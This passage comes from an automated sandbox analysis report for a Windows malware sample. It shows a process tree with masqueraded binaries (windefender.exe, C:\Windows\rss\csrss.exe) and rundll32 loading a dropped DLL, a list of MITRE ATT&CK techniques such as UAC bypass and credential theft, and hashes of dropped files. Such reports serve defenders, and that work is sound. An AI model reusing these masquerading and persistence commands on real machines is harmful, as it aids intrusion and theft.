                                                                                                                                                          schtasks /DELETE /F /TN "BAnwxolbGpCzXNxkj"
                                                                                                                                                          2⤵
                                                                                                                                                            PID:5540
                                                                                                                                                        • \??\c:\windows\system32\rundll32.EXE
                                                                                                                                                          c:\windows\system32\rundll32.EXE "C:\Windows\Temp\ofqvFcNvzeRditbz\EtDKLfkE\dyYFsRB.dll",#1 /Jfsite_idyhn 385118
                                                                                                                                                          1⤵
                                                                                                                                                            PID:5752
                                                                                                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                              c:\windows\system32\rundll32.EXE "C:\Windows\Temp\ofqvFcNvzeRditbz\EtDKLfkE\dyYFsRB.dll",#1 /Jfsite_idyhn 385118
                                                                                                                                                              2⤵
                                                                                                                                                              • Blocklisted process makes network request
                                                                                                                                                              • Checks BIOS information in registry
                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                              • Drops file in System32 directory
                                                                                                                                                              • Enumerates system info in registry
                                                                                                                                                              PID:5916
                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                schtasks /DELETE /F /TN "QhciBzJOokLnyYZub"
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:5912
                                                                                                                                                            • C:\Windows\windefender.exe
                                                                                                                                                              C:\Windows\windefender.exe
                                                                                                                                                              1⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                                              PID:5328
                                                                                                                                                              • C:\Windows\rss\csrss.exe
                                                                                                                                                                "C:\Windows\rss\csrss.exe"
                                                                                                                                                                2⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                PID:5524
                                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  powershell -nologo -noprofile
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                                  PID:4472
                                                                                                                                                            • C:\Windows\system32\msiexec.exe
                                                                                                                                                              C:\Windows\system32\msiexec.exe /V
                                                                                                                                                              1⤵
                                                                                                                                                              • Blocklisted process makes network request
                                                                                                                                                              • Registers COM server for autorun
                                                                                                                                                              • Enumerates connected drives
                                                                                                                                                              • Drops file in Program Files directory
                                                                                                                                                              • Drops file in Windows directory
                                                                                                                                                              • Modifies registry class
                                                                                                                                                              PID:5112
                                                                                                                                                              • C:\Windows\System32\MsiExec.exe
                                                                                                                                                                C:\Windows\System32\MsiExec.exe -Embedding 1A5A2B39FEC97A80BD0DFDCDB4B4C605
                                                                                                                                                                2⤵
                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                PID:2208
                                                                                                                                                              • C:\Windows\System32\MsiExec.exe
                                                                                                                                                                C:\Windows\System32\MsiExec.exe -Embedding 4178A91A4990DD46FBFE5BAB5AD3CBE4 E Global\MSI0000
                                                                                                                                                                2⤵
                                                                                                                                                                • Drops file in Drivers directory
                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                PID:3964
                                                                                                                                                              • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                C:\Windows\syswow64\MsiExec.exe -Embedding 9DAFE4A5D638A6B99CB8F6C6054C77E3 M Global\MSI0000
                                                                                                                                                                2⤵
                                                                                                                                                                • Modifies registry class
                                                                                                                                                                PID:5612
                                                                                                                                                            • C:\Windows\system32\LogonUI.exe
                                                                                                                                                              "LogonUI.exe" /flags:0x0 /state0:0xa3a93855 /state1:0x41c64e6d
                                                                                                                                                              1⤵
                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                              PID:792

                                                                                                                                                            Network

                                                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                                                            Reconnaissance

                                                                                                                                                            Resource Development

                                                                                                                                                            Initial Access

                                                                                                                                                            Execution

                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                            1
                                                                                                                                                            T1053

                                                                                                                                                            Persistence

                                                                                                                                                            Boot or Logon Autostart Execution

                                                                                                                                                            2
                                                                                                                                                            T1547

                                                                                                                                                            Registry Run Keys / Startup Folder

                                                                                                                                                            2
                                                                                                                                                            T1547.001

                                                                                                                                                            Create or Modify System Process

                                                                                                                                                            2
                                                                                                                                                            T1543

                                                                                                                                                            Windows Service

                                                                                                                                                            2
                                                                                                                                                            T1543.003

                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                            1
                                                                                                                                                            T1053

                                                                                                                                                            Privilege Escalation

                                                                                                                                                            Abuse Elevation Control Mechanism

                                                                                                                                                            1
                                                                                                                                                            T1548

                                                                                                                                                            Bypass User Account Control

                                                                                                                                                            1
                                                                                                                                                            T1548.002

                                                                                                                                                            Boot or Logon Autostart Execution

                                                                                                                                                            2
                                                                                                                                                            T1547

                                                                                                                                                            Registry Run Keys / Startup Folder

                                                                                                                                                            2
                                                                                                                                                            T1547.001

                                                                                                                                                            Create or Modify System Process

                                                                                                                                                            2
                                                                                                                                                            T1543

                                                                                                                                                            Windows Service

                                                                                                                                                            2
                                                                                                                                                            T1543.003

                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                            1
                                                                                                                                                            T1053

                                                                                                                                                            Defense Evasion

                                                                                                                                                            Abuse Elevation Control Mechanism

                                                                                                                                                            1
                                                                                                                                                            T1548

                                                                                                                                                            Bypass User Account Control

                                                                                                                                                            1
                                                                                                                                                            T1548.002

                                                                                                                                                            Impair Defenses

                                                                                                                                                            4
                                                                                                                                                            T1562

                                                                                                                                                            Disable or Modify System Firewall

                                                                                                                                                            1
                                                                                                                                                            T1562.004

                                                                                                                                                            Disable or Modify Tools

                                                                                                                                                            3
                                                                                                                                                            T1562.001

                                                                                                                                                            Modify Registry

                                                                                                                                                            7
                                                                                                                                                            T1112

                                                                                                                                                            Subvert Trust Controls

                                                                                                                                                            1
                                                                                                                                                            T1553

                                                                                                                                                            Install Root Certificate

                                                                                                                                                            1
                                                                                                                                                            T1553.004

                                                                                                                                                            Virtualization/Sandbox Evasion

                                                                                                                                                            1
                                                                                                                                                            T1497

                                                                                                                                                            Credential Access

                                                                                                                                                            Unsecured Credentials

                                                                                                                                                            2
                                                                                                                                                            T1552

                                                                                                                                                            Credentials In Files

                                                                                                                                                            2
                                                                                                                                                            T1552.001

                                                                                                                                                            Discovery

                                                                                                                                                            Peripheral Device Discovery

                                                                                                                                                            2
                                                                                                                                                            T1120

                                                                                                                                                            Query Registry

                                                                                                                                                            8
                                                                                                                                                            T1012

                                                                                                                                                            System Information Discovery

                                                                                                                                                            8
                                                                                                                                                            T1082

                                                                                                                                                            Virtualization/Sandbox Evasion

                                                                                                                                                            1
                                                                                                                                                            T1497

                                                                                                                                                            Lateral Movement

                                                                                                                                                            Collection

                                                                                                                                                            Data from Local System

                                                                                                                                                            2
                                                                                                                                                            T1005

                                                                                                                                                            Command and Control

                                                                                                                                                            Web Service

                                                                                                                                                            1
                                                                                                                                                            T1102

                                                                                                                                                            Exfiltration

                                                                                                                                                            Impact

                                                                                                                                                            Replay Monitor

                                                                                                                                                            Loading Replay Monitor...

                                                                                                                                                            Downloads

                                                                                                                                                            • C:\Config.Msi\e5978c3.rbs
                                                                                                                                                              Filesize

                                                                                                                                                              894KB

                                                                                                                                                              MD5

                                                                                                                                                              f829dee66ac6649d47a1621142c1af47

                                                                                                                                                              SHA1

                                                                                                                                                              0683a1646551ff687c4ba32bee24567bfe37955c

                                                                                                                                                              SHA256

                                                                                                                                                              85458731be6ce7795ef706e93f80d088def2eac0848b1f58641dc59b6cd42f46

                                                                                                                                                              SHA512

                                                                                                                                                              9aec90e509452b2c32bc4f9ca1eaab9b532ee126e7812403e5385f6f3f8827aeb69f7b5cd8a85170e91f3ace12f33d073600cc83fe8d07fc1b9ece0b4fb36d56

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
                                                                                                                                                              Filesize

                                                                                                                                                              2.0MB

                                                                                                                                                              MD5

                                                                                                                                                              92ccef0ead7bbda8e9726f4e085519ed

                                                                                                                                                              SHA1

                                                                                                                                                              1bca0f5583af57ee4b158d53c091a77beb9ae0a8

                                                                                                                                                              SHA256

                                                                                                                                                              6c8deee0aacbc51a70f7cd01ed6459b9ed8f25ce7b3c06087dc3a70c762c7898

                                                                                                                                                              SHA512

                                                                                                                                                              1748e3fc8a38d2ae6e366980287d7ed1a4f1788272d1077867c41d519a5fb6a3ed34b899a79b5c80c31f204b89c38fea72e2c72d5fbbd03fd1adc60abe6bf1c9

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json
                                                                                                                                                              Filesize

                                                                                                                                                              187B

                                                                                                                                                              MD5

                                                                                                                                                              2a1e12a4811892d95962998e184399d8

                                                                                                                                                              SHA1

                                                                                                                                                              55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                                              SHA256

                                                                                                                                                              32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                                              SHA512

                                                                                                                                                              bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json
                                                                                                                                                              Filesize

                                                                                                                                                              136B

                                                                                                                                                              MD5

                                                                                                                                                              238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                                                              SHA1

                                                                                                                                                              0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                                                              SHA256

                                                                                                                                                              801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                                                              SHA512

                                                                                                                                                              2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json
                                                                                                                                                              Filesize

                                                                                                                                                              150B

                                                                                                                                                              MD5

                                                                                                                                                              0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                                                              SHA1

                                                                                                                                                              6a51537cef82143d3d768759b21598542d683904

                                                                                                                                                              SHA256

                                                                                                                                                              0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                                                              SHA512

                                                                                                                                                              5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                              Filesize

                                                                                                                                                              10KB

                                                                                                                                                              MD5

                                                                                                                                                              9f03e1a8869a07c6cb56bf54e60b7ac5

                                                                                                                                                              SHA1

                                                                                                                                                              f328b435e568750f46dc4f142560402dc51b42ee

                                                                                                                                                              SHA256

                                                                                                                                                              fdfc5cb2ee1657053643feea00b7da49d43515bf123fcd9a5f2f99e4ebf590a5

                                                                                                                                                              SHA512

                                                                                                                                                              a5663c76d11f80bf3ac9f48cef86c625d1d97d362386f0c1424db89b9c729fc737c889349130fd89d357138c8103679427e37924d8eca96e8a52154e6ce66f71

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                                                                                                                                              Filesize

                                                                                                                                                              33KB

                                                                                                                                                              MD5

                                                                                                                                                              0c18861d6d8e70b8449f3db0503dbc00

                                                                                                                                                              SHA1

                                                                                                                                                              8ac4d74148160b102d9806a9158542a40987e325

                                                                                                                                                              SHA256

                                                                                                                                                              f66a7ef24fbd5c246dd36e9482bc18816cf0d1d8f70879cd5890cc148a70035e

                                                                                                                                                              SHA512

                                                                                                                                                              b6059b9ac5cd3b88177f63f27f711083acce63e29161f297e587cee91cb280632b3d01a1985065593cbd1b826c8623b72225110b4c77854096cfd1280432f23f

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                                                                                                                                                              Filesize

                                                                                                                                                              1KB

                                                                                                                                                              MD5

                                                                                                                                                              9cfc7a98b758174d91a40515a37ef935

                                                                                                                                                              SHA1

                                                                                                                                                              ccd0eff396f99a725c697990544c345256a36215

                                                                                                                                                              SHA256

                                                                                                                                                              8385a9299312f77a2ced3780086eeeb82f9aa7ab0080d6a26235e09f066ec26e

                                                                                                                                                              SHA512

                                                                                                                                                              0a11eb0d96f5669c2e2bed54bbca25395b9d1749384e452fd2e97ca4457d8d04f58d764839fcba56eb5e081844d11f455a9d1342a086c21318300ebe93987001

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                                                                                                                                                              Filesize

                                                                                                                                                              19KB

                                                                                                                                                              MD5

                                                                                                                                                              2f02b7d361c78ccc73b0249f61742686

                                                                                                                                                              SHA1

                                                                                                                                                              d1a4cd7b45b509c271f11be7988a3092b16a4891

                                                                                                                                                              SHA256

                                                                                                                                                              d012dbcd7214d1dc448fe5839e991f37368ab35f3f853015c9e0cf185b4e03de

                                                                                                                                                              SHA512

                                                                                                                                                              b8811f3785bb7f2b14961fd34ae374b4d3c0db61b08c4d94cd4a310c3e2cb5d1ccf79bc63d76cd3d203767353578cfcd0aac8e66155f7c33b5cc4d332a099b8c

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                              Filesize

                                                                                                                                                              1KB

                                                                                                                                                              MD5

                                                                                                                                                              6c7f00bcefe12c7144cb13edc7799711

                                                                                                                                                              SHA1

                                                                                                                                                              bc591b0a9ad864288ac9dbaac9d5511b6dc0686c

                                                                                                                                                              SHA256

                                                                                                                                                              659e6ec43ef9e2fd91cc4b583286b67aa7ba6dd78f0058efc8eff4070ed70753

                                                                                                                                                              SHA512

                                                                                                                                                              92e7b40aec265fe1dc64ad4a926760a32e2adf5b7bd10ec7e78441e1863ce5ada89e9f181e30c897f4b556d0107e7916021b77e40d3e8ac2eacaed71c35de8fe

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404182221281\additional_file0.tmp
                                                                                                                                                              Filesize

                                                                                                                                                              2.5MB

                                                                                                                                                              MD5

                                                                                                                                                              15d8c8f36cef095a67d156969ecdb896

                                                                                                                                                              SHA1

                                                                                                                                                              a1435deb5866cd341c09e56b65cdda33620fcc95

                                                                                                                                                              SHA256

                                                                                                                                                              1521c69f478e9ced2f64b8714b9e19724e747cd8166e0f7ab5db1151a523dda8

                                                                                                                                                              SHA512

                                                                                                                                                              d6f48180d4dcb5ba83a9c0166870ac00ea67b615e749edf5994bc50277bf97ca87f582ac6f374c5351df252db73ee1231c943b53432dbb7563e12bbaf5bb393a

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404182221281\assistant\assistant_installer.exe
                                                                                                                                                              Filesize

                                                                                                                                                              1.9MB

                                                                                                                                                              MD5

                                                                                                                                                              976bc8e5fe65f9bb56831e20f1747150

                                                                                                                                                              SHA1

                                                                                                                                                              f9e7f5628aaaabed9939ef055540e24590a9ccfb

                                                                                                                                                              SHA256

                                                                                                                                                              f53c916ccf3d24d6793227283de2db0f6cc98a2275413851807cc080643d21a0

                                                                                                                                                              SHA512

                                                                                                                                                              2858e7e08418b170b21b599afb02236d0480d35a5605de142f10976489e01daf2ad80df0f09c2eb38bc5a971336d1f6aa9909c520bcdb18e9c9a8e903379dcd9

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404182221281\assistant\dbghelp.dll
                                                                                                                                                              Filesize

                                                                                                                                                              1.7MB

                                                                                                                                                              MD5

                                                                                                                                                              544255258f9d45b4608ccfd27a4ed1dd

                                                                                                                                                              SHA1

                                                                                                                                                              571e30ceb9c977817b5bbac306366ae59f773497

                                                                                                                                                              SHA256

                                                                                                                                                              3b02fc85602e83059f611c658e3cad6bc59c3c51214d4fe7e31f3ac31388dd68

                                                                                                                                                              SHA512

                                                                                                                                                              2093da881fa90eec2b90d1ca6eaaff608fe16ac612571a7fd5ed94dd5f7ff7e5c1e8c862bab0a228850829527886473e3942abd23a81d10cab8f9baad2cc7664

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404182221281\opera_package
                                                                                                                                                              Filesize

                                                                                                                                                              103.8MB

                                                                                                                                                              MD5

                                                                                                                                                              5014156e9ffbb75d1a8d5fc09fabdc42

                                                                                                                                                              SHA1

                                                                                                                                                              6968d1b5cec3039e53bbbedeee22e2d43d94c771

                                                                                                                                                              SHA256

                                                                                                                                                              7a01e11e1830ba3c154e5a6c383da15938b1e48f89a2fe4045cdd260924b6802

                                                                                                                                                              SHA512

                                                                                                                                                              bfc5c44881d0fa7bcbccfd530d874fa624adec50e1a16063a72de12876d2db10ca5edd6fa841ea63e9deca3ff2adf54065f50719fe051d41de92bb68edba4016

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\359fc1db
                                                                                                                                                              Filesize

                                                                                                                                                              5.9MB

                                                                                                                                                              MD5

                                                                                                                                                              dcc26dd014bad9eafa9066d3781b615d

                                                                                                                                                              SHA1

                                                                                                                                                              b0cb8621ca58a196ac73bed4e525deacfaf2d836

                                                                                                                                                              SHA256

                                                                                                                                                              69502ffc7e2b8946d420e682cd1421f58a17f489590f761c580ce2a4feb74ae3

                                                                                                                                                              SHA512

                                                                                                                                                              5a7804fdebe09aada86e327899fa7ce6830c26c426d398dd72ef68121c33e59c2572709a725f43d6f1d31c52e7b4ea10b2128d00d530a00ef9db9a8efef204e3

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\5098c594
                                                                                                                                                              Filesize

                                                                                                                                                              1.4MB

                                                                                                                                                              MD5

                                                                                                                                                              c0f1456357de9126f615417b381e5ac6

                                                                                                                                                              SHA1

                                                                                                                                                              8893e2bf5831967b8f63f2a99494db9cd07c75b5

                                                                                                                                                              SHA256

                                                                                                                                                              5346cd6f612b1b3e7b694d09c8806621f24446731aa3ae61e44e388d78e9fcb6

                                                                                                                                                              SHA512

                                                                                                                                                              d56fca312891ac6a65b4653175b8fe8ecf21c254cb831df6ae79fc33bd2d6ec283f6a2b86abbf498cf3e7df7067526a984ff6c175729aa07c7a7ce77752dea50

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS94FC.tmp\Install.exe
                                                                                                                                                              Filesize

                                                                                                                                                              6.8MB

                                                                                                                                                              MD5

                                                                                                                                                              e77964e011d8880eae95422769249ca4

                                                                                                                                                              SHA1

                                                                                                                                                              8e15d7c4b7812a1da6c91738c7178adf0ff3200f

                                                                                                                                                              SHA256

                                                                                                                                                              f200984380d291051fc4b342641cd34e7560cadf4af41b2e02b8778f14418f50

                                                                                                                                                              SHA512

                                                                                                                                                              8feb3dc4432ec0a87416cbc75110d59efaf6504b4de43090fc90286bd37f98fc0a5fb12878bb33ac2f6cd83252e8dfd67dd96871b4a224199c1f595d33d4cade

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exe
                                                                                                                                                              Filesize

                                                                                                                                                              14.7MB

                                                                                                                                                              MD5

                                                                                                                                                              6955715b6ff15bdc153a2431cc395cca

                                                                                                                                                              SHA1

                                                                                                                                                              272e1eec66a1871b300484b2200b507a4abe5420

                                                                                                                                                              SHA256

                                                                                                                                                              a6d40169be9c151e9e6c86fe53d2bac3b4c2ddb41c0b650d961f8328939b4761

                                                                                                                                                              SHA512

                                                                                                                                                              cf82d27d7010be69ab1c288fef9d820905407c8018e2a91f3c39a0eda5e9378e0ff04d077520d556d46d7a9cb0a3a640d15a10ad4090e482be3c83930836019d

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Zqicom_beta\UIxMarketPlugin.dll
                                                                                                                                                              Filesize

                                                                                                                                                              1.6MB

                                                                                                                                                              MD5

                                                                                                                                                              8f75e17a8bf3de6e22e77b5586f8a869

                                                                                                                                                              SHA1

                                                                                                                                                              e0bf196cfc19a8772e003b9058bdc211b419b261

                                                                                                                                                              SHA256

                                                                                                                                                              5f10a9fdcac32e93b1cebc365868ee3266f80c2734524b4aa7b6ea54e123f985

                                                                                                                                                              SHA512

                                                                                                                                                              5a1e78613ad90cb0dc855d8a935b136722749889b66d4d8fc0f52438f0a4f4c8c31fbb981e9c6a13ffb2cc2b77fe0747204b63a91c6fff4646eed915387c8d7d

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Zqicom_beta\UniversalInstaller.exe
                                                                                                                                                              Filesize

                                                                                                                                                              2.4MB

                                                                                                                                                              MD5

                                                                                                                                                              9fb4770ced09aae3b437c1c6eb6d7334

                                                                                                                                                              SHA1

                                                                                                                                                              fe54b31b0db8665aa5b22bed147e8295afc88a03

                                                                                                                                                              SHA256

                                                                                                                                                              a05b592a971fe5011554013bcfe9a4aaf9cfc633bdd1fe3a8197f213d557b8d3

                                                                                                                                                              SHA512

                                                                                                                                                              140fee6daf23fe8b7e441b3b4de83554af804f00ecedc421907a385ac79a63164bd9f28b4be061c2ea2262755d85e14d3a8e7dc910547837b664d78d93667256

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Zqicom_beta\somebody.rtf
                                                                                                                                                              Filesize

                                                                                                                                                              24KB

                                                                                                                                                              MD5

                                                                                                                                                              ff36ebcf134c8846aea77446867e5bc6

                                                                                                                                                              SHA1

                                                                                                                                                              53fdf2c0bec711e377edb4f97cd147728fb568f6

                                                                                                                                                              SHA256

                                                                                                                                                              e1c256e5a7f17cb64740223084009f37bddccc49b05e881133412057689b04e9

                                                                                                                                                              SHA512

                                                                                                                                                              b07d5065dd39843c8c7bdfccdd8d39f44b1ce9fe100a2fcf7210549ea1d46bcac54080cf91eff0a05360b26233c542daabdbd5d3f096a5bf0e366583ddb29ec1

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Zqicom_beta\spawn.xml
                                                                                                                                                              Filesize

                                                                                                                                                              1.3MB

                                                                                                                                                              MD5

                                                                                                                                                              2d8de35aa00138b2bfc4fb0fc3d0f58b

                                                                                                                                                              SHA1

                                                                                                                                                              28c2d84e01815702c230da456aaa17c7d2519186

                                                                                                                                                              SHA256

                                                                                                                                                              19340e9202db71d8010563c8b8d325cbef5d8448a8df2ad730e74a5a46e36dac

                                                                                                                                                              SHA512

                                                                                                                                                              378116bc71de9f968aaef6ca27944e341a9a825a92831f5834c396160581f5e3656d3b6d1c2a304a65a74c0dd9ca0c50fb0e0016b6174d1fab68909ea1c95128

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3505wqp3.kg0.ps1
                                                                                                                                                              Filesize

                                                                                                                                                              1B

                                                                                                                                                              MD5

                                                                                                                                                              c4ca4238a0b923820dcc509a6f75849b

                                                                                                                                                              SHA1

                                                                                                                                                              356a192b7913b04c54574d18c28d46e6395428ab

                                                                                                                                                              SHA256

                                                                                                                                                              6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

                                                                                                                                                              SHA512

                                                                                                                                                              4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt
                                                                                                                                                              Filesize

                                                                                                                                                              2KB

                                                                                                                                                              MD5

                                                                                                                                                              03070d9364d9870b09db090dc42eb6c8

                                                                                                                                                              SHA1

                                                                                                                                                              fc112892acdff405b2256e6e6e1db7e727bffba3

                                                                                                                                                              SHA256

                                                                                                                                                              bc43fd74e2bba5d25ff8cef6675dfa94b8612751c58dde367731aced10dd3da6

                                                                                                                                                              SHA512

                                                                                                                                                              1b2be21366ef07256e34cbc9032007315fe31fc7b96beb6d4af4dbbd02c555fc8fbabf292f93b87c7d748f8204890c778ae3493029d0e05661076edebfcd30d2

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt
                                                                                                                                                              Filesize

                                                                                                                                                              3KB

                                                                                                                                                              MD5

                                                                                                                                                              8d0345260990672cfcf7aa1893bb1502

                                                                                                                                                              SHA1

                                                                                                                                                              db35e75d0593ad73796ccef0f51e081cfb053ca7

                                                                                                                                                              SHA256

                                                                                                                                                              3570f1573f3fdfba4782f2c7b5ddb2f19780a7e40f228c3f9e372c77c70c1045

                                                                                                                                                              SHA512

                                                                                                                                                              ee1baf6b06fb96be6d3b6556a70d3808abf85a46e58f085de5a67a7e4877139e231181668f562a1f9d08c726973a9343467d25be47983f98daa151a3c95cb552

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\tmp80E5.tmp
                                                                                                                                                              Filesize

                                                                                                                                                              20KB

                                                                                                                                                              MD5

                                                                                                                                                              c9ff7748d8fcef4cf84a5501e996a641

                                                                                                                                                              SHA1

                                                                                                                                                              02867e5010f62f97ebb0cfb32cb3ede9449fe0c9

                                                                                                                                                              SHA256

                                                                                                                                                              4d3f3194cb1133437aa69bb880c8cbb55ddf06ff61a88ca6c3f1bbfbfd35d988

                                                                                                                                                              SHA512

                                                                                                                                                              d36054499869a8f56ac8547ccd5455f1252c24e17d2b185955390b32da7e2a732ace4e0f30f9493fcc61425a2e31ed623465f998f41af69423ee0e3ed1483a73

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\uzk.0.exe
                                                                                                                                                              Filesize

                                                                                                                                                              306KB

                                                                                                                                                              MD5

                                                                                                                                                              9e7bd4e6b0220bbb8c4068a02939e692

                                                                                                                                                              SHA1

                                                                                                                                                              92b8c83e84d6823bf4cf5238f368c27e5243241d

                                                                                                                                                              SHA256

                                                                                                                                                              a547ce72c56e28616970d53b15e05cf4532a20384cae7a72b8428789a48028ef

                                                                                                                                                              SHA512

                                                                                                                                                              7c1a0dcdcbeb988679ad24cbef85bd0b3f6c6c41c8699d506be3a1d6b0542fff0f6ec85eb53fe98278f787cd108771e2d168e2a9080327706edc629c41f57522

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\uzk.1.exe
                                                                                                                                                              Filesize

                                                                                                                                                              4.6MB

                                                                                                                                                              MD5

                                                                                                                                                              397926927bca55be4a77839b1c44de6e

                                                                                                                                                              SHA1

                                                                                                                                                              e10f3434ef3021c399dbba047832f02b3c898dbd

                                                                                                                                                              SHA256

                                                                                                                                                              4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7

                                                                                                                                                              SHA512

                                                                                                                                                              cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\je1358xf.default-release\prefs.js
                                                                                                                                                              Filesize

                                                                                                                                                              6KB

                                                                                                                                                              MD5

                                                                                                                                                              d18d9297c7ed6328c76aa86331ce3c7e

                                                                                                                                                              SHA1

                                                                                                                                                              6b29259b84fa6b3969c9ae4b9b72581924fe2f5b

                                                                                                                                                              SHA256

                                                                                                                                                              946eaf94c5387f309ee51c5cd11bdfd662822e2755cb9220d5fc8ae5cba2ab3a

                                                                                                                                                              SHA512

                                                                                                                                                              2020ca88da7b8ad2612b0036e1de2b5ca3fa98b8f193a694a7869b2f65e8717d42b5c192b3647b4f9ef151482394cbf8d678d2a236e6f4014de98d3eb3398bc6

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports\settings.dat
                                                                                                                                                              Filesize

                                                                                                                                                              40B

                                                                                                                                                              MD5

                                                                                                                                                              3d7a074bdb45460165a5188bc8d927fb

                                                                                                                                                              SHA1

                                                                                                                                                              3bb2c94b94db14f55d7efc8ddf88ab5bde2892e2

                                                                                                                                                              SHA256

                                                                                                                                                              ac6f2f5a7cd370e604e58d851af438405b1519959c19f01f7bb68a209f01549c

                                                                                                                                                              SHA512

                                                                                                                                                              024a0a7d6c0461f1c6e1218fbf8a5dff1ce7be15beefea056e95e83e267223e10ad79dcbfc00f76a904919250e045a9f2c74eef49823ecb679e72d24dd8daae9

                                                                                                                                                              Download Submit
                                                                                                                                                            • C:\Users\Admin\Pictures\6TTEZBrOfU6ZJgIScOy2pAE8.exe
